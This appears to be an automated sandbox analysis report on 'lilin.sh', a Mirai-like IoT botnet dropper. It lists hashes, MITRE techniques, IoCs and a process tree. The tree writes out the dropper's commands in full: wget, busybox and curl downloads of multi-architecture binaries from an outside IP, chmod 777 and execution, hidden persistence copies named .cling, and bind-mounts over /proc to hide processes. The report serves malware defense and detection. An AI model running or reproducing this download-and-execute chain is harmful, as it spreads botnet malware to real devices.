90e2b0b4e29cf7906f43e7eb275e4b03a44dc060821b873fc507ca9292c9cc5f

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/08/2026, 02:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lilin.sh
Size 2KB
Sample260822-che7lsvsft
SHA256 90e2b0b4e29cf7906f43e7eb275e4b03a44dc060821b873fc507ca9292c9cc5f
MD5 444465a3e2a2e6441cc6afc2ce69dc5a
SHA1 9ca86d429c9a738c19a3e11f33adffb021fe71b8
SHA512 02f252580cf07885350cd8e01befa8772c90d9373254e40c9d58b56cbeaac664f26fba52c93d815ae8afa16fad9372e8c1b4f3958d61229ca1864784e229c403
TLSH
T162512CEE31F46EA1C2819E1C327F9E8C7461CDA236814BB9D54F7436D58ECA0B536E48
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 64 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
802	sh
826	chmod
834	chmod
938	sh
683	sh
786	sh
846	sh
868	sh
872	chmod
927	sh
940	sh
949	chmod
682	chmod
906	chmod
928	chmod
944	chmod
740	chmod
796	chmod
800	sh
830	chmod
950	sh
951	chmod
984	chmod
997	chmod
848	sh
925	sh
934	chmod
958	sh
809	chmod
849	chmod
862	chmod
892	chmod
993	chmod
744	sh
787	chmod
917	chmod
954	chmod
960	sh
673	chmod
747	chmod
785	chmod
838	chmod
852	chmod
858	sh
859	chmod
941	chmod
745	chmod
856	sh
877	chmod
921	chmod
926	chmod
948	sh
967	chmod
1005	chmod
813	chmod
822	chmod
866	sh
899	chmod
681	sh
746	sh
913	chmod
977	chmod
1001	chmod
780	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/m.armv4l	674	lilin.sh
/tmp/m.armv4l	843	lilin.sh
/tmp/m.armv4l	922	lilin.sh

Modifies Watchdog functionality 1 TTPs 24 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	m.armv5l
File opened for modification	/dev/watchdog	m.armv6l
File opened for modification	/dev/misc/watchdog	m.armv6l
File opened for modification	/dev/misc/watchdog	m.armv5l
File opened for modification	/dev/watchdog	m.armv6l
File opened for modification	/dev/misc/watchdog	m.armv6l
File opened for modification	/dev/watchdog	m.armv7l
File opened for modification	/dev/misc/watchdog	m.armv7l
File opened for modification	/dev/watchdog	m.armv7l
File opened for modification	/dev/misc/watchdog	m.armv7l
File opened for modification	/dev/watchdog	m.armv4l
File opened for modification	/dev/watchdog	m.armv4l
File opened for modification	/dev/misc/watchdog	m.armv4l
File opened for modification	/dev/watchdog	m.armv5l
File opened for modification	/dev/misc/watchdog	m.armv6l
File opened for modification	/dev/misc/watchdog	m.armv5l
File opened for modification	/dev/watchdog	m.armv6l
File opened for modification	/dev/watchdog	m.armv7l
File opened for modification	/dev/misc/watchdog	m.armv7l
File opened for modification	/dev/misc/watchdog	m.armv4l
File opened for modification	/dev/watchdog	m.armv5l
File opened for modification	/dev/watchdog	m.armv4l
File opened for modification	/dev/misc/watchdog	m.armv4l
File opened for modification	/dev/watchdog	m.armv5l

Enumerates running processes
Discovers information about currently running processes on the system

Write file to user bin folder 1 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/local/bin/.cling	cp

Changes its process name 24 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	675	m.armv4l
Changes the process name, possibly in an attempt to hide itself	742	m.armv5l
Changes the process name, possibly in an attempt to hide itself	782	m.armv6l
Changes the process name, possibly in an attempt to hide itself	790	m.armv4l
Changes the process name, possibly in an attempt to hide itself	793	m.armv5l
Changes the process name, possibly in an attempt to hide itself	798	m.armv7l
Changes the process name, possibly in an attempt to hide itself	806	m.armv6l
Changes the process name, possibly in an attempt to hide itself	819	m.armv7l
Changes the process name, possibly in an attempt to hide itself	844	m.armv4l
Changes the process name, possibly in an attempt to hide itself	854	m.armv5l
Changes the process name, possibly in an attempt to hide itself	864	m.armv6l
Changes the process name, possibly in an attempt to hide itself	874	m.armv7l
Changes the process name, possibly in an attempt to hide itself	896	m.armv5l
Changes the process name, possibly in an attempt to hide itself	903	m.armv6l
Changes the process name, possibly in an attempt to hide itself	910	m.armv7l
Changes the process name, possibly in an attempt to hide itself	923	m.armv4l
Changes the process name, possibly in an attempt to hide itself	931	m.armv4l
Changes the process name, possibly in an attempt to hide itself	936	m.armv5l
Changes the process name, possibly in an attempt to hide itself	946	m.armv6l
Changes the process name, possibly in an attempt to hide itself	956	m.armv7l
Changes the process name, possibly in an attempt to hide itself	964	m.armv4l
Changes the process name, possibly in an attempt to hide itself	971	m.armv5l
Changes the process name, possibly in an attempt to hide itself	974	m.armv6l
Changes the process name, possibly in an attempt to hide itself	981	m.armv7l

Checks CPU configuration 1 TTPs 11 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	mount
File opened for reading	/proc/8/cmdline	m.armv4l
File opened for reading	/proc/146/cmdline	m.armv4l
File opened for reading	/proc/18/cmdline	m.armv5l
File opened for reading	/proc/137/cmdline	m.armv5l
File opened for reading	/proc/293/cmdline	m.armv5l
File opened for reading	/proc/321/cmdline	m.armv4l
File opened for reading	/proc/filesystems	mount
File opened for reading	/proc/644/cmdline	m.armv5l
File opened for reading	/proc/566/cmdline	m.armv6l
File opened for reading	/proc/13/cmdline	m.armv5l
File opened for reading	/proc/865/cmdline	m.armv6l
File opened for reading	/proc/18/cmdline	m.armv4l
File opened for reading	/proc/22/cmdline	m.armv4l
File opened for reading	/proc/305/cmdline	m.armv7l
File opened for reading	/proc/793/cmdline	m.armv7l
File opened for reading	/proc/2/cmdline	m.armv4l
File opened for reading	/proc/653/cmdline	m.armv4l
File opened for reading	/proc/798/cmdline	m.armv5l
File opened for reading	/proc/297/cmdline	m.armv7l
File opened for reading	/proc/106/cmdline	m.armv4l
File opened for reading	/proc/filesystems	mount
File opened for reading	/proc/285/cmdline	m.armv6l
File opened for reading	/proc/923/cmdline	m.armv6l
File opened for reading	/proc/3/cmdline	m.armv6l
File opened for reading	/proc/819/cmdline	m.armv4l
File opened for reading	/proc/793/cmdline	m.armv5l
File opened for reading	/proc/580/cmdline	m.armv4l
File opened for reading	/proc/17/cmdline	m.armv6l
File opened for reading	/proc/864/cmdline	m.armv7l
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/285/cmdline	m.armv5l
File opened for reading	/proc/43/cmdline	m.armv6l
File opened for reading	/proc/169/cmdline	m.armv5l
File opened for reading	/proc/22/cmdline	m.armv7l
File opened for reading	/proc/641/cmdline	m.armv6l
File opened for reading	/proc/29/cmdline	m.armv5l
File opened for reading	/proc/585/cmdline	m.armv4l
File opened for reading	/proc/227/cmdline	m.armv4l
File opened for reading	/proc/227/cmdline	m.armv5l
File opened for reading	/proc/16/cmdline	m.armv6l
File opened for reading	/proc/285/cmdline	m.armv7l
File opened for reading	/proc/7/cmdline	m.armv6l
File opened for reading	/proc/23/cmdline	m.armv7l
File opened for reading	/proc/106/cmdline	m.armv4l
File opened for reading	/proc/637/cmdline	m.armv4l
File opened for reading	/proc/137/cmdline	m.armv6l
File opened for reading	/proc/6/cmdline	m.armv4l
File opened for reading	/proc/158/cmdline	m.armv5l
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/580/cmdline	m.armv6l
File opened for reading	/proc/4/cmdline	m.armv5l
File opened for reading	/proc/5/cmdline	m.armv5l
File opened for reading	/proc/227/cmdline	m.armv7l
File opened for reading	/proc/293/cmdline	m.armv7l
File opened for reading	/proc/76/cmdline	m.armv6l
File opened for reading	/proc/305/cmdline	m.armv6l
File opened for reading	/proc/675/cmdline	m.armv7l
File opened for reading	/proc/2/cmdline	m.armv5l
File opened for reading	/proc/737/cmdline	m.armv5l
File opened for reading	/proc/11/cmdline	m.armv7l
File opened for reading	/proc/10/cmdline	m.armv4l
File opened for reading	/proc/109/cmdline	m.armv6l
File opened for reading	/proc/18/cmdline	m.armv7l

System Network Configuration Discovery 1 TTPs 12 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
831	m.mipsel
895	busybox
900	m.mips
902	busybox
907	m.mipsel
994	m.mips
996	curl
825	wget
827	m.mips
829	wget
987	curl
998	m.mipsel

Writes file to tmp directory 37 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/m.armv6l	curl
File opened for modification	/tmp/m.i586	curl
File opened for modification	/tmp/m.i686	wget
File opened for modification	/tmp/m.powerpc	wget
File opened for modification	/tmp/m.x86_64	curl
File opened for modification	/tmp/m.mipsel	busybox
File opened for modification	/tmp/m.mipsel	wget
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/m.i486	wget
File opened for modification	/tmp/m.i586	wget
File opened for modification	/tmp/m.armv4l	busybox
File opened for modification	/tmp/m.armv7l	busybox
File opened for modification	/tmp/m.powerpc	curl
File opened for modification	/tmp/m.armv6l	wget
File opened for modification	/tmp/m.armv5l	curl
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/m.mips	wget
File opened for modification	/tmp/m.armv5l	busybox
File opened for modification	/tmp/m.armv6l	busybox
File opened for modification	/tmp/m.armv7l	curl
File opened for modification	/tmp/m.i486	curl
File opened for modification	/tmp/m.i686	curl
File opened for modification	/tmp/m.armv4l	wget
File opened for modification	/tmp/m.x86_64	wget
File opened for modification	/tmp/m.mipsel	curl
File opened for modification	/tmp/m.i686	busybox
File opened for modification	/tmp/m.i586	busybox
File opened for modification	/tmp/m.powerpc	busybox
File opened for modification	/tmp/m.armv4l	curl
File opened for modification	/tmp/m.armv7l	wget
File opened for modification	/tmp/m.i486	busybox
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/m.x86_64	busybox
File opened for modification	/tmp/m.mips	curl
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/m.armv5l	wget
File opened for modification	/tmp/m.mips	busybox

/tmp/lilin.sh
/tmp/lilin.sh
1⤵
- Executes dropped EXE
PID:644
- /usr/bin/wget
  wget http://222.223.152.97:800/m.armv4l
  2⤵
  - Writes file to tmp directory
  PID:649
- /bin/chmod
  chmod 777 m.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:673
- /tmp/m.armv4l
  ./m.armv4l lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:674
- - /bin/sh
    sh -c "cp /tmp/m.armv4l /root/.cling"
    3⤵
    PID:677
  - - /bin/cp
      cp /tmp/m.armv4l /root/.cling
      4⤵
      PID:678
- - /bin/sh
    sh -c "cp /tmp/m.armv4l /usr/local/bin/.cling"
    3⤵
    PID:679
  - - /bin/cp
      cp /tmp/m.armv4l /usr/local/bin/.cling
      4⤵
      Write file to user bin folder
      PID:680
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:681
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:682
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:683
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      PID:684
- - /bin/sh
    sh -c "cp /proc/1/stat /tmp/stat"
    3⤵
    PID:685
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Writes file to tmp directory
      PID:686
- - /bin/sh
    sh -c "cp /proc/1/status /tmp/status"
    3⤵
    PID:687
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Writes file to tmp directory
      PID:688
- - /bin/sh
    sh -c "cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:690
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Writes file to tmp directory
      PID:692
- - /bin/sh
    sh -c "cp /proc/1/statm /tmp/statm"
    3⤵
    PID:693
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Writes file to tmp directory
      PID:695
- - /bin/sh
    sh -c "mount --bind /tmp /proc/675"
    3⤵
    PID:697
  - - /bin/mount
      mount --bind /tmp /proc/675
      4⤵
      PID:698
- - /bin/sh
    sh -c "mount --bind /tmp /proc/790"
    3⤵
    PID:791
  - - /bin/mount
      mount --bind /tmp /proc/790
      4⤵
      PID:792
- /usr/bin/wget
  wget http://222.223.152.97:800/m.armv5l
  2⤵
  - Writes file to tmp directory
  PID:676
- /bin/chmod
  chmod 777 m.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/m.armv5l
  ./m.armv5l lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:741
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:744
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:745
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:746
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:747
- - /bin/sh
    sh -c "mount --bind /tmp /proc/742"
    3⤵
    PID:748
  - - /bin/mount
      mount --bind /tmp /proc/742
      4⤵
      PID:749
- - /bin/sh
    sh -c "mount --bind /tmp /proc/793"
    3⤵
    PID:794
  - - /bin/mount
      mount --bind /tmp /proc/793
      4⤵
      PID:795
- /usr/bin/wget
  wget http://222.223.152.97:800/m.armv6l
  2⤵
  - Writes file to tmp directory
  PID:743
- /bin/chmod
  chmod 777 m.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/m.armv6l
  ./m.armv6l lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:781
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    PID:784
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:785
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:786
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:787
- - /bin/sh
    sh -c "mount --bind /tmp /proc/782"
    3⤵
    PID:788
  - - /bin/mount
      mount --bind /tmp /proc/782
      4⤵
      Reads runtime system information
      PID:789
- - /bin/sh
    sh -c "mount --bind /tmp /proc/806"
    3⤵
    PID:807
  - - /bin/mount
      mount --bind /tmp /proc/806
      4⤵
      PID:808
- /usr/bin/wget
  wget http://222.223.152.97:800/m.armv7l
  2⤵
  - Writes file to tmp directory
  PID:783
- /bin/chmod
  chmod 777 m.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/m.armv7l
  ./m.armv7l lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:797
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:800
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      PID:801
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:802
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      PID:803
- - /bin/sh
    sh -c "mount --bind /tmp /proc/798"
    3⤵
    PID:804
  - - /bin/mount
      mount --bind /tmp /proc/798
      4⤵
      PID:805
- - /bin/sh
    sh -c "mount --bind /tmp /proc/819"
    3⤵
    PID:820
  - - /bin/mount
      mount --bind /tmp /proc/819
      4⤵
      PID:821
- /usr/bin/wget
  wget http://222.223.152.97:800/m.i486
  2⤵
  - Writes file to tmp directory
  PID:799
- /bin/chmod
  chmod 777 m.i486
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/m.i486
  ./m.i486 lilin
  2⤵
  PID:810
- /usr/bin/wget
  wget http://222.223.152.97:800/m.i686
  2⤵
  - Writes file to tmp directory
  PID:812
- /bin/chmod
  chmod 777 m.i686
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/m.i686
  ./m.i686 lilin
  2⤵
  PID:814
- /usr/bin/wget
  wget http://222.223.152.97:800/m.i586
  2⤵
  - Writes file to tmp directory
  PID:816
- /bin/chmod
  chmod 777 m.i586
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/m.i586
  ./m.i586 lilin
  2⤵
  PID:823
- /usr/bin/wget
  wget http://222.223.152.97:800/m.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:825
- /bin/chmod
  chmod 777 m.mips
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/m.mips
  ./m.mips lilin
  2⤵
  - System Network Configuration Discovery
  PID:827
- /usr/bin/wget
  wget http://222.223.152.97:800/m.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:829
- /bin/chmod
  chmod 777 m.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/m.mipsel
  ./m.mipsel lilin
  2⤵
  - System Network Configuration Discovery
  PID:831
- /usr/bin/wget
  wget http://222.223.152.97:800/m.powerpc
  2⤵
  - Writes file to tmp directory
  PID:833
- /bin/chmod
  chmod 777 m.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/m.powerpc
  ./m.powerpc lilin
  2⤵
  PID:835
- /usr/bin/wget
  wget http://222.223.152.97:800/m.x86_64
  2⤵
  - Writes file to tmp directory
  PID:837
- /bin/chmod
  chmod 777 m.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/m.x86_64
  ./m.x86_64 lilin
  2⤵
  PID:839
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.armv4l
  2⤵
  - Writes file to tmp directory
  PID:841
- /bin/chmod
  chmod 777 m.armv4l
  2⤵
  PID:842
- /tmp/m.armv4l
  ./m.armv4l lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:843
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:846
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      PID:847
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:848
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:849
- - /bin/sh
    sh -c "mount --bind /tmp /proc/844"
    3⤵
    PID:850
  - - /bin/mount
      mount --bind /tmp /proc/844
      4⤵
      Reads runtime system information
      PID:851
- - /bin/sh
    sh -c "mount --bind /tmp /proc/931"
    3⤵
    PID:932
  - - /bin/mount
      mount --bind /tmp /proc/931
      4⤵
      PID:933
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.armv5l
  2⤵
  - Writes file to tmp directory
  PID:845
- /bin/chmod
  chmod 777 m.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/m.armv5l
  ./m.armv5l lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:853
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:856
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      PID:857
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:858
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:859
- - /bin/sh
    sh -c "mount --bind /tmp /proc/854"
    3⤵
    PID:860
  - - /bin/mount
      mount --bind /tmp /proc/854
      4⤵
      PID:861
- - /bin/sh
    sh -c "mount --bind /tmp /proc/896"
    3⤵
    PID:897
  - - /bin/mount
      mount --bind /tmp /proc/896
      4⤵
      PID:898
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.armv6l
  2⤵
  - Writes file to tmp directory
  PID:855
- /bin/chmod
  chmod 777 m.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/m.armv6l
  ./m.armv6l lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:863
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:866
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      PID:867
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:868
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      PID:869
- - /bin/sh
    sh -c "mount --bind /tmp /proc/864"
    3⤵
    PID:870
  - - /bin/mount
      mount --bind /tmp /proc/864
      4⤵
      PID:871
- - /bin/sh
    sh -c "mount --bind /tmp /proc/903"
    3⤵
    PID:904
  - - /bin/mount
      mount --bind /tmp /proc/903
      4⤵
      PID:905
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.armv7l
  2⤵
  - Writes file to tmp directory
  PID:865
- /bin/chmod
  chmod 777 m.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/m.armv7l
  ./m.armv7l lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:873
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    PID:876
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:877
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    PID:878
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      PID:879
- - /bin/sh
    sh -c "mount --bind /tmp /proc/874"
    3⤵
    PID:880
  - - /bin/mount
      mount --bind /tmp /proc/874
      4⤵
      Reads runtime system information
      PID:881
- - /bin/sh
    sh -c "mount --bind /tmp /proc/910"
    3⤵
    PID:911
  - - /bin/mount
      mount --bind /tmp /proc/910
      4⤵
      PID:912
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.i486
  2⤵
  - Writes file to tmp directory
  PID:875
- /bin/chmod
  chmod 777 m.i486
  2⤵
  PID:882
- /tmp/m.i486
  ./m.i486 lilin
  2⤵
  PID:883
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.i686
  2⤵
  - Writes file to tmp directory
  PID:885
- /bin/chmod
  chmod 777 m.i686
  2⤵
  PID:886
- /tmp/m.i686
  ./m.i686 lilin
  2⤵
  PID:887
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.i586
  2⤵
  - Writes file to tmp directory
  PID:889
- /bin/chmod
  chmod 777 m.i586
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/m.i586
  ./m.i586 lilin
  2⤵
  PID:893
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:895
- /bin/chmod
  chmod 777 m.mips
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/m.mips
  ./m.mips lilin
  2⤵
  - System Network Configuration Discovery
  PID:900
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:902
- /bin/chmod
  chmod 777 m.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/m.mipsel
  ./m.mipsel lilin
  2⤵
  - System Network Configuration Discovery
  PID:907
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.powerpc
  2⤵
  - Writes file to tmp directory
  PID:909
- /bin/chmod
  chmod 777 m.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/m.powerpc
  ./m.powerpc lilin
  2⤵
  PID:914
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.x86_64
  2⤵
  - Writes file to tmp directory
  PID:916
- /bin/chmod
  chmod 777 m.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/m.x86_64
  ./m.x86_64 lilin
  2⤵
  PID:918
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.armv4l
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:920
- /bin/chmod
  chmod 777 m.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/m.armv4l
  ./m.armv4l lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:922
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:925
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:926
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:927
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:928
- - /bin/sh
    sh -c "mount --bind /tmp /proc/923"
    3⤵
    PID:929
  - - /bin/mount
      mount --bind /tmp /proc/923
      4⤵
      PID:930
- - /bin/sh
    sh -c "mount --bind /tmp /proc/964"
    3⤵
    PID:965
  - - /bin/mount
      mount --bind /tmp /proc/964
      4⤵
      PID:966
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.armv5l
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:924
- /bin/chmod
  chmod 777 m.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:934
- /tmp/m.armv5l
  ./m.armv5l lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:935
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:938
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      PID:939
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:940
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:941
- - /bin/sh
    sh -c "mount --bind /tmp /proc/936"
    3⤵
    PID:942
  - - /bin/mount
      mount --bind /tmp /proc/936
      4⤵
      PID:943
- - /bin/sh
    sh -c "mount --bind /tmp /proc/971"
    3⤵
    PID:972
  - - /bin/mount
      mount --bind /tmp /proc/971
      4⤵
      PID:973
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.armv6l
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:937
- /bin/chmod
  chmod 777 m.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/m.armv6l
  ./m.armv6l lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:945
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:948
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:949
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:950
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:951
- - /bin/sh
    sh -c "mount --bind /tmp /proc/946"
    3⤵
    PID:952
  - - /bin/mount
      mount --bind /tmp /proc/946
      4⤵
      PID:953
- - /bin/sh
    sh -c "mount --bind /tmp /proc/974"
    3⤵
    PID:975
  - - /bin/mount
      mount --bind /tmp /proc/974
      4⤵
      PID:976
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.armv7l
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:947
- /bin/chmod
  chmod 777 m.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/m.armv7l
  ./m.armv7l lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:955
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:958
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      PID:959
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:960
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      PID:961
- - /bin/sh
    sh -c "mount --bind /tmp /proc/956"
    3⤵
    PID:962
  - - /bin/mount
      mount --bind /tmp /proc/956
      4⤵
      PID:963
- - /bin/sh
    sh -c "mount --bind /tmp /proc/981"
    3⤵
    PID:982
  - - /bin/mount
      mount --bind /tmp /proc/981
      4⤵
      PID:983
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.i486
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:957
- /bin/chmod
  chmod 777 m.i486
  2⤵
  - File and Directory Permissions Modification
  PID:967
